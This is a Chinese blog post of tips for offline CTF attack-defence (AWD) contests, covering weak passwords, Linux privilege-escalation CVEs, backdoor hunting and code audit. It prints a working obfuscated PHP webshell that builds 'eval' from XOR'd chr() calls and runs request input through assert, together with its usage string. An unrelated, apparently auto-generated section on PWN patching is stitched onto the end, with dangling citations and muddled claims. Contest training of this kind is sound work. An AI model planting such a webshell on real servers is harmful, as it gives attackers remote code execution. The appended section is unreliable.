awd的批量脚本 pwn_CTF线下AWD经验总结

本文总结了线下CTF攻防战(AWD)的比赛经验,包括服务器登录、提权、攻击与防御策略。提权方面介绍了Linux本地提权POC和工具。攻击策略涵盖主机发现、找预留后门、代码审计等,防御措施涉及文件监控、iptables配置、WAF部署等。此外,还分享了流量和日志分析方法,以及如何设置假flag迷惑对手。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

简介

随着CTF的普及,比赛的形式也有了越来越多的花样,对于线下赛来说,常见为 AWD:Attack With Defence+公共高地、内网渗透等形式。

由于前段时间准备线下赛时,看了许多大佬们总结的套路,他们各种骚操作让我学到了许多,所以就想把几篇我觉得比较好的总结一下,一来方便自己比赛前回顾一下,二来跟大家分享,希望能对各位CTF朋友们有所帮助。

之后如果学到什么新姿势,我有时间也会update上来和大家分享:)

何为AWD

比赛中每个队伍维护多台服务器,服务器中存在多个漏洞,利用漏洞攻击其他队伍可以进行得分,修复漏洞可以避免被其他队伍攻击失分。

  • 一般分配Web服务器,服务器(多数为Linux)某处存在flag(一般在根目录下)

  • 可能会提供一台流量分析虚拟机,可以下载流量文件进行数据分析;

  • flag在主办方的设定下每隔一定时间刷新一轮

  • 各队一般都有自己的初始分数

  • flag一旦被其他队伍拿走,该队扣除一定积分

  • 扣除的积分由获取flag的队伍均分

  • 主办方会对每个队伍的服务进行check,服务宕机扣除本轮flag分数,扣除的分值由服务check正常的队伍均分

  • 一般每个队伍会给一个低权限用户,非root权限

具体规则以具体比赛规则为准,但一般大同小异

网络环境

网络拓扑如下图所示(示例):

16df29cf1b44027cf3ec023b19a9deb7.png

首先先理清好网络拓扑关系,节点与各链路之间的关联,方便下一步和队友配合,要不然不知道对手在哪就GG。

比赛分工

线下赛一般3人左右,2人攻击,1人防御,因为发现的漏洞可以攻击其他队伍,也要进行修复,所以攻防相辅相成,以攻为守。

一般来说,比赛中每个队伍需要维护多个靶机,web、二进制等,也可以每人负责一台,各自负责攻击和防御。

套路小结

常规的CTF线下攻防思路:

53e88ac519a742f10d0f046bca434957.png

服务器登录

一般比赛都通过ssh连接服务器,拿到网络拓扑图后,和队友进行分工,一个人检查有没有弱口令(弱口令的问题几乎是必考),有的话对密码进行修改(越复杂越好,当然前提是自己也方便)。web后台也很有可能存在弱口令,一般都是admin/admin ,admin/123456test/test等等,同样需要立即修改,并将情况反馈给队友,凭着你的手速修改其他队伍的后台口令,为本队所用,甚至有些严重的可以利用后台getshell。

与此同时,还需要(一定要!必须要!)有人在比赛开始后第一时间备份服务器中web目录下的文件(/var/www/html)。这是自我审计的基础,也是防止服务器在比赛中出现异常的情况下可以立即恢复到初始状态的先决条件。有的比赛可以提供3次左右的恢复初始设置的机会(但一般会伴随着扣分为代价),有的比赛不提供,所以备份十分重要。

可以用scp命令,也可用一些图形化的工具:Winscp,MobaXterm等,操作起来比较方便。

接着就是上WAF、文件监控、端口扫描。将这几个工作分工好,顺序就像图上。

提权

在AWD中,一般都需要专门防御加固自己服务器的环节,但加固的很多操作都会涉及到root权限,如果直接给root权限最好,但一般只会给一个普通权限账号,这时候往往就需要给服务器提权了。关于提权,通常我们要根据kernel版本号找到对应的poc,平时我们可以收集测试一些比较新的提权poc,以备不时之需。

Linux_Local_Root_Exploits :这网站收集了许多linux本地提权的poc。

linux-kernel-exploits(github) :一个挺全的提权exp项目,收集了04年至今的exp,并按年份和CVE归类

下面分享几个最近两年并且影响范围比较大的:

  • CVE-2017-6074 (DCCP双重释放漏洞 > 2.6.18 ) :DCCP双重释放漏洞可允许本地低权限用户修改Linux内核内存,导致拒绝服务(系统崩溃)或者提升权限,获得系统的管理访问权限

  • CVE-2016-5195(脏牛,kernel 2.6.22 < 3.9 (x86/x64)) :低权限用户可修改root用户创建的文件内容,如修改 /etc/passwd,把当前用户的 uid 改成 0 即可提升为root权限

  • CVE-2016-8655(Ubuntu 12.04、14.04,Debian 7、8) :条件竞争漏洞,可以让低权限的进程获得内核代码执行权限

    POC:https://www.seebug.org/vuldb/ssvid-92567

  • CVE-2017-1000367(sudo本地提权漏洞 ) :Linux Kernel Stack Clash安全漏洞。该漏洞是由于操作系统内存管理中的一个堆栈冲突漏洞,它影响Linux,FreeBSD和OpenBSD,NetBSD,Solaris,i386和AMD64,攻击者可以利用它破坏内存并执行任意代码 。

  • CVE-2016-1247(Nginx权限提升漏洞) :Nginx服务在创建log目录时使用了不安全的权限设置,可造成本地权限提升,恶意攻击者能够借此实现从 nginx/web 的用户权限 www-data 到 root 用户权限的提升。

    POC:https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

我收集了一些提权的脚本工具集,可作参考:https://github.com/edwardchoijc/ctf-toolkit/Linux/getROOT

How to Attack
主机发现

如果是在同个C段,或者B段,均可以使用扫描器进行扫描得出。还要记得扫端口,这很重要,当然这个端口扫描是建立在没有自己靶机权限的情况下。用nmap也行,自己写的脚本或者网上找的也行。

找预留后门

有的比赛环境,为了照顾比较菜的选手,预留了一句话后门,可以利用这个漏洞迅速打一波,还可以视情况“搅屎”,利用这个漏洞一直维持权限,每轮都得分。

将整个web目录下载到本地,使用hm.exe、D盾或者别的扫描工具可以扫描得出(如果预留)

发现后门后,第一时间删除,同时利用这个漏洞发起第一波攻击,如果利用菜刀连,显然不够优雅,还没连完,人家估计都删的差不多了,因此这个漏洞虽然是送分,但拼的是手速,因此得提前准备好脚本

代码审计

代码审计是攻防一体的工作,当发现漏洞时,修补的同时跟进攻的队友商讨如何利用

53e88ac519a742f10d0f046bca434957.png

一句话木马

控制用的一句话木马,最好是需要菜刀配置的,这样做是为了不让别人轻易的利用你的一句话,要不然就只能等着别人用你的脚本捡分。

比较好的一句话:

<?php 
$a=chr(96^5);
$b=chr(57^79);
$c=chr(15^110);
$d=chr(58^86);
$e='($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
?>

配置为?b=))99(rhC(tseuqeR+lave

### AWD PWN 漏洞修复方案 针对AWD(Attack-Defense Competition)环境下的PWN类漏洞,通常涉及内存管理不当、缓冲区溢出等问题。对于这些类型的漏洞,有效的修复措施可以从多个角度入手。 #### 1. 防范缓冲区溢出攻击 为了防止`strcpy`函数引发的缓冲区溢出问题,可以采用更安全的数据复制方式,比如使用带有长度参数的安全API `strncpy` 或者 C++ 中的字符串处理库[^3]: ```cpp // 安全替代 strcpy 的例子 char dest[SIZE]; memset(dest, 0, SIZE); // 初始化目标数组 strncpy(dest, source, sizeof(dest)-1); ``` 这种方法能够有效避免因输入数据过长而导致的目标缓冲区被覆盖的情况发生。 #### 2. 处理内存泄漏风险 当遇到可能导致内存泄漏的操作时,可以通过特定字符终止未预期的行为。例如,在某些场景下利用`\x00`作为字符串结束符来阻止进一步读取不必要的内存区域: ```c buffer[position] = '\x00'; // 手动设置字符串结尾标记 ``` 此操作有助于减少潜在的信息泄露路径,并增强系统的安全性。 #### 3. 加强源码审查机制 由于此类竞赛题目往往包含复杂的逻辑结构,因此建议开发团队建立严格的代码审核流程,确保每一行代码都经过充分验证后再投入使用。特别是在面对较长且容易忽略的关键部分时更要加倍小心[^4]。 #### 4. 实施自动化工具辅助检测 借助专门设计用于发现常见编程错误和安全隐患的静态分析器或动态测试框架,可以帮助快速定位并修正隐藏较深的问题。像提到过的AwdPwnPatcher就是这样一款能自动识别AWD-Lite组件中存在的典型缺陷的应用程序[^1]。 通过上述手段相结合的方式,可以在很大程度上提高软件产品的健壮性和抗攻击能力,从而更好地应对AWD比赛或其他实际应用场景中的挑战。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值